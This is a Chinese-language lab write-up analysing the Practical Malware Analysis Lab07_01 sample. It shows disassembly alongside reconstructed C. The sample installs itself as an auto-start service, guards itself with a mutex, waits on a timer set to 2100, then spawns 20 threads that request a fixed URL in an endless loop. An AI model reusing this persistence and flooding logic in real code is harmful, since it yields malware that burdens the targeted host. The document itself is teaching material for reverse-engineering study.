Malware Analysis Lab07_01 EXP
Practical Malware Analysis Lab07_01 Experiment log.
这个实验主要内容涉及Windows服务以及线程同步。
int __cdecl main()
首先看IDA对main()函数的反汇编结果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 int __cdecl main(int argc, const char **argv, const char **envp) _main proc near ServiceStartTable[0]= SERVICE_TABLE_ENTRYA ptr -10h ServiceStartTable[1].lpServiceName= dword ptr -8 ServiceStartTable[1].lpServiceProc= dword ptr -4 argc= dword ptr 4 argv= dword ptr 8 envp= dword ptr 0Ch sub esp, 10h lea eax, [esp+10h+ServiceStartTable[0]] mov [esp+10h+ServiceStartTable[0].lpServiceName], offset aMalservice ; "MalService" push eax ; lpServiceStartTable mov [esp+14h+ServiceStartTable[0].lpServiceProc], offset _service_process mov [esp+14h+ServiceStartTable[1].lpServiceName], 0 mov [esp+14h+ServiceStartTable[1].lpServiceProc], 0 call ds:StartServiceCtrlDispatcherA push 0 push 0 call _service_process add esp, 18h retn _main endp
这部分的代码比较简单,可以复现源码为:
1 2 3 4 5 6 7 8 9 10 int main (int argc, const char **argv, const char **envp) { SERVICE_TABLE_ENTRY DispatchTable[] = { { MalService, (LPSERVICE_MAIN_FUNCTION) _service_process }, { NULL , NULL } }; StartServiceCtrlDispatcher(DispatchTable); return _service_process; }
这里出现的API就是BOOL StartServiceCtrlDispatcher()
,这个API接受一个以NULL作为结束的SERVICE_TABLE_ENTRYA数组,下面将会解释这个API的作用。
按照微软文档的说法,这个API会将服务进程的主线程与服务控制管理器(Service Control Manager, SCM)连接 ,这使得该线程成为服务进程的服务控制调度器线程(service control dispatcher thread)。
而这个调度器线程只有当输入参数所指定的所有服务都停止后才会返回,在此之前,将会进入循环以等待对调度表中指定的服务的传入控制请求。
如何所有在调度表中指定的服务都顺利退出,那么这个API将会返回true,否则将会返回false,并且可以使用GetLastError()以了解详细的错误信息。
int _service_process()
从IDA的反汇编结果来看,这个函数的开头先使用互斥量确保只有一个实例正在运行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 push offset Name ; "HGL345" push 0 ; bInheritHandle push 1F0001h ; dwDesiredAccess call ds:OpenMutexA test eax, eax jz short loc_401064 push 0 ; uExitCode call ds:ExitProcess loc_401064: push esi push offset Name ; "HGL345" push 0 ; bInitialOwner push 0 ; lpMutexAttributes call ds:CreateMutexA
这段可以还原的源码为:
1 2 3 4 if (OpenMutex(MUTEX_ALL_ACCESS, 0 , "HGL345" )) ExitProcess(0 );else CreateMutex(NULL , False, "HGL345" );
后面的代码就用创建服务。
随后,创建SCManager:
1 2 3 4 push 3 ; dwDesiredAccess push 0 ; lpDatabaseName push 0 ; lpMachineName call ds:OpenSCManagerA
这里又出现了一个API SC_HANDLE OpenSCManager()
,这个API的作用是与指定计算机上的服务控制管理器(SCM)建立连接并打开指定的服务控制管理器数据库 。换句话说,这个API的作用就是打开指定的SCM数据库。
下面的代码将会用于创建一个服务:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 call ds:GetCurrentProcess lea eax, [esp+404h+Filename] push 3E8h ; nSize push eax ; lpFilename push 0 ; hModule call ds:GetModuleFileNameA push 0 ; lpPassword push 0 ; lpServiceStartName push 0 ; lpDependencies push 0 ; lpdwTagId lea ecx, [esp+414h+Filename] push 0 ; lpLoadOrderGroup push ecx ; lpBinaryPathName push 0 ; dwErrorControl push 2 ; dwStartType push 10h ; dwServiceType push 2 ; dwDesiredAccess push offset DisplayName ; "Malservice" push offset DisplayName ; "Malservice" push esi ; hSCManager call ds:CreateServiceA
这里的GetCurrentProcess()的作用是返回一个处理当前进程的一个伪句柄,但是这里调用这个函数并没有什么用。
在Windows环境下,想要知道当前进程的可执行文件的路径,可以使用DWORD GetModuleFileNameA([in, optional]HMODULE hModule, [out]LPSTR lpFilename, [in]DWORD nSize)
函数,这个API的作用是检索包含指定模块的文件的完全限定路径,模块必须由当前进程加载。如果传入的指定模块为0,那么这个API将会返回当前进程对应的可执行文件的路径 。
所以执行完这个函数后,在(esp+404h)位置处的字符数组中将会存放当前进程对应可执行文件的路径。
然后就是创建一个服务,使用到的API:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 SC_HANDLE CreateServiceA ( [in] SC_HANDLE hSCManager, [in] LPCSTR lpServiceName, [in, optional] LPCSTR lpDisplayName, [in] DWORD dwDesiredAccess, [in] DWORD dwServiceType, [in] DWORD dwStartType, [in] DWORD dwErrorControl, [in, optional] LPCSTR lpBinaryPathName, [in, optional] LPCSTR lpLoadOrderGroup, [out, optional] LPDWORD lpdwTagId, [in, optional] LPCSTR lpDependencies, [in, optional] LPCSTR lpServiceStartName, [in, optional] LPCSTR lpPassword ) ;
这个API的作用是创建一个服务对象,并且将其添加到有参数指定的SCM数据库中 。这里用来指定SCM数据库的参数就是调用APISC_HANDLE OpenSCManager()
所返回的句柄。
这里对这个API中一些比较重要的参数进行解释。首先是 DWORD dwStartType ,这个参数将会指定被创建的服务的类型,这个参数有以下几种可选值:
Value
Meaning
SERVICE_AUTO_START 0x00000002
A service started automatically by the service control manager during system startup.
SERVICE_BOOT_START 0x00000000
A device driver started by the system loader. This value is valid only for driver services.
SERVICE_DEMAND_START 0x00000003
A service started by the service control manager when a process calls the StartService function.
SERVICE_DISABLED 0x00000004
A service that cannot be started. Attempts to start the service result in the error code ERROR_SERVICE_DISABLED .
SERVICE_SYSTEM_START 0x00000001
A device driver started by the IoInitSystem function. This value is valid only for driver services.
另一个重要参数是 LPCSTR lpBinaryPathName ,这个参数用以指定服务进程对应的二进制文件的完整限定路径,并且也可以通过这个路径向自启动服务传递参数。比如"d:\myshare\myservice.exe arg1 arg2",这些参数将会被传递到服务的入口点,通常就是main()函数。
如果这个路径中包含空格,那么需要对于这个进行引用,才能够正确解释,比如"d:\my share\myservice.exe" 应该指定为 ““d:\my share\myservice.exe””。
所以可以上面的汇编代码完整还原为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 SC_HANDLE schSCManager; SC_HANDLE schService; TCHAR szPath[0x3e8 ]; schSCManager = OpenSCManager( NULL , NULL , SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE); GetModuleFileName(NULL , szPath, 0x3e8 ); schService = CreateService( schSCManager, "Malservice" , "Malservice" , SC_MANAGER_CREATE_SERVICE, SERVICE_WIN32_OWN_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, szPath, NULL , NULL , NULL , NULL , NULL );
这里创建的服务类型为SERVICE_WIN32_OWN_PROCESS类型,这种类型的服务将会在.exe文件中保存代码,并且作为一个独立进程运行。
另外还有一种SERVICE_WIN32_SHARED_PROCESS类型的服务,这种类型的服务将会在.dll文件中保存代码,并且可以在一个共享的进程中组合多个不同的服务。
还有一种在恶意代码中会见到的服务类型是KERNEL_DRIVER,这种类型的服务将会加载代码到内核中执行。
后面的代码与Windows中的可等待计时器对象(Waitable Timer Object )相关:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 xor edx, edx lea eax, [esp+404h+FileTime] mov dword ptr [esp+404h+SystemTime.wYear], edx lea ecx, [esp+404h+SystemTime] mov dword ptr [esp+404h+SystemTime.wDayOfWeek], edx push eax ; lpFileTime mov dword ptr [esp+408h+SystemTime.wHour], edx push ecx ; lpSystemTime mov dword ptr [esp+40Ch+SystemTime.wSecond], edx mov [esp+40Ch+SystemTime.wYear], 834h call ds:SystemTimeToFileTime push 0 ; lpTimerName push 0 ; bManualReset push 0 ; lpTimerAttributes call ds:CreateWaitableTimerA push 0 ; fResume push 0 ; lpArgToCompletionRoutine push 0 ; pfnCompletionRoutine lea edx, [esp+410h+FileTime] mov esi, eax push 0 ; lPeriod push edx ; lpDueTime push esi ; hTimer call ds:SetWaitableTimer push 0FFFFFFFFh ; dwMilliseconds(-1, INFINITE) push esi ; hHandle call ds:WaitForSingleObject test eax, eax jnz short loc_40113B
这里面先调用了一个BOOL SystemTimeToFileTime()
将系统时间(based on Coordinated Universal Time, UTC)转换为文件时间。
然后创建一个可等待计时器对象,并且设置这个可等待计时器对象并等待这个对象触发。
这里需要介绍一下设置计时器对象的时间格式,可以分为相对时间和绝对时间,如果传入的参数是负数,那么就意味着这个计时器等待的时间是一个相对时间,将会在由这个参数指定的时间延迟,纳秒为单位,后发送信号;如果传入的参数是FILETIME结构的数据,那么就意味着这个计时器等待的时间是一个绝对时间,只有当系统时间到达这个绝对时间后才会发送信号 。
可等待计时器对象:
线程使用 CreateWaitableTimer()
或 CreateWaitableTimerEx()
函数创建计时器对象。 创建线程指定计时器是手动重置计时器还是同步计时器。 创建线程可以为定时器对象指定一个名称。 其他进程中的线程可以通过在对 OpenWaitableTimer()
函数的调用中指定其名称来打开现有计时器的句柄。 任何具有计时器对象句柄的线程都可以使用其中一个等待函数来等待计时器状态设置为已发出信号。
当然这里直接使用微软文档中的示例进行介绍会更加直观。
下面的代码将会创建一个可等待计时器对象,这个对象将会在10秒延迟后发送信号。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 #include <windows.h> #include <stdio.h> int main () { HANDLE hTimer = NULL ; LARGE_INTEGER liDueTime; liDueTime.QuadPart = -100000000LL ; hTimer = CreateWaitableTimer(NULL , TRUE, NULL ); if (NULL == hTimer) { printf ("CreateWaitableTimer failed (%d)\n" , GetLastError()); return 1 ; } printf ("Waiting for 10 seconds...\n" ); if (!SetWaitableTimer(hTimer, &liDueTime, 0 , NULL , NULL , 0 )) { printf ("SetWaitableTimer failed (%d)\n" , GetLastError()); return 2 ; } if (WaitForSingleObject(hTimer, INFINITE) != WAIT_OBJECT_0) printf ("WaitForSingleObject failed (%d)\n" , GetLastError()); else printf ("Timer was signaled.\n" ); return 0 ; }
上面的例子中使用BOOL RegisterWaitForSingleObject()
接口来判断这个计时器在什么时候发送信号的。(这个API似乎已经过时了)
在这段代码中使用BOOL WaitForSingleObject()
接口来判断计时器是否被触发。这个API的作用就是等待这个计时器对象,直到这个计时器对象发送信号或者设定的等待超时 。如果参数是INFINITE(-1),那么这个函数将会在计时器发送信号后才会返回。
这段代码可以还原为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 FILETIME ftFiletime; SYSTEMTIME stSystime; Handle hTimer; stSystime.wYear = 0 ; stSystime.wDayOfWeek = 0 ; stSystime.wHour = 0 ; stSystime.wSecond = 0 ; stSystime.wYear = 2100 ; SystemTimeToFileTime(&stSystime, &ftFiletime); hTimer = CreateWaitableTimer(NULL , FALSE, NULL ); SetWaitableTimer(hTimer, &ftFiletime, 0 , NULL , NULL , 0 );if (WaitForSingleObject(hTimer, INFINITE) != WAIT_OBJECT_0) { Sleep(INFINITE); }else { int i = 20 ; while (i--) CreateThread(0 , 0 , (LPTHREAD_START_ROUTINE)lpStartAddress, 0 , 0 , 0 ); } return 0 ;
这段代码的作用就是创建一个可等待计时器对象,并将这个计时器对象的时间设置为绝对时间2100年,在计时器发送信号前会将当前线程挂起。
后面的代码就是当前线程成功等待计时器发送信号后的行为。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 push edi mov edi, ds:CreateThread mov esi, 14h loc_401126: push 0 ; lpThreadId push 0 ; dwCreationFlags push 0 ; lpParameter push offset StartAddress ; lpStartAddress push 0 ; dwStackSize push 0 ; lpThreadAttributes call edi ; CreateThread dec esi jnz short loc_401126 pop edi
这段代码是一个循环结构,在循环结构体中创建线程,这部分的代码已经在上面的还原了。也就是创建20个立即执行的线程,线程执行的函数由lpStartAddress指定。
线程所执行的代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 push esi push edi push 0 ; dwFlags push 0 ; lpszProxyBypass push 0 ; lpszProxy push 1 ; dwAccessType push offset szAgent ; "Internet Explorer 8.0" call ds:InternetOpenA mov edi, ds:InternetOpenUrlA mov esi, eax loc_40116D: push 0 ; dwContext push 80000000h ; dwFlags push 0 ; dwHeadersLength push 0 ; lpszHeaders push offset szUrl ; "http://www.malwareanalysisbook.com" push esi ; hInternet call edi ; InternetOpenUrlA jmp short loc_40116D
这段代码的作用就是先初始化一个到互联网的连接,然后进入死循环,不停打开URL"http://www.malwareanalysisbook.com "。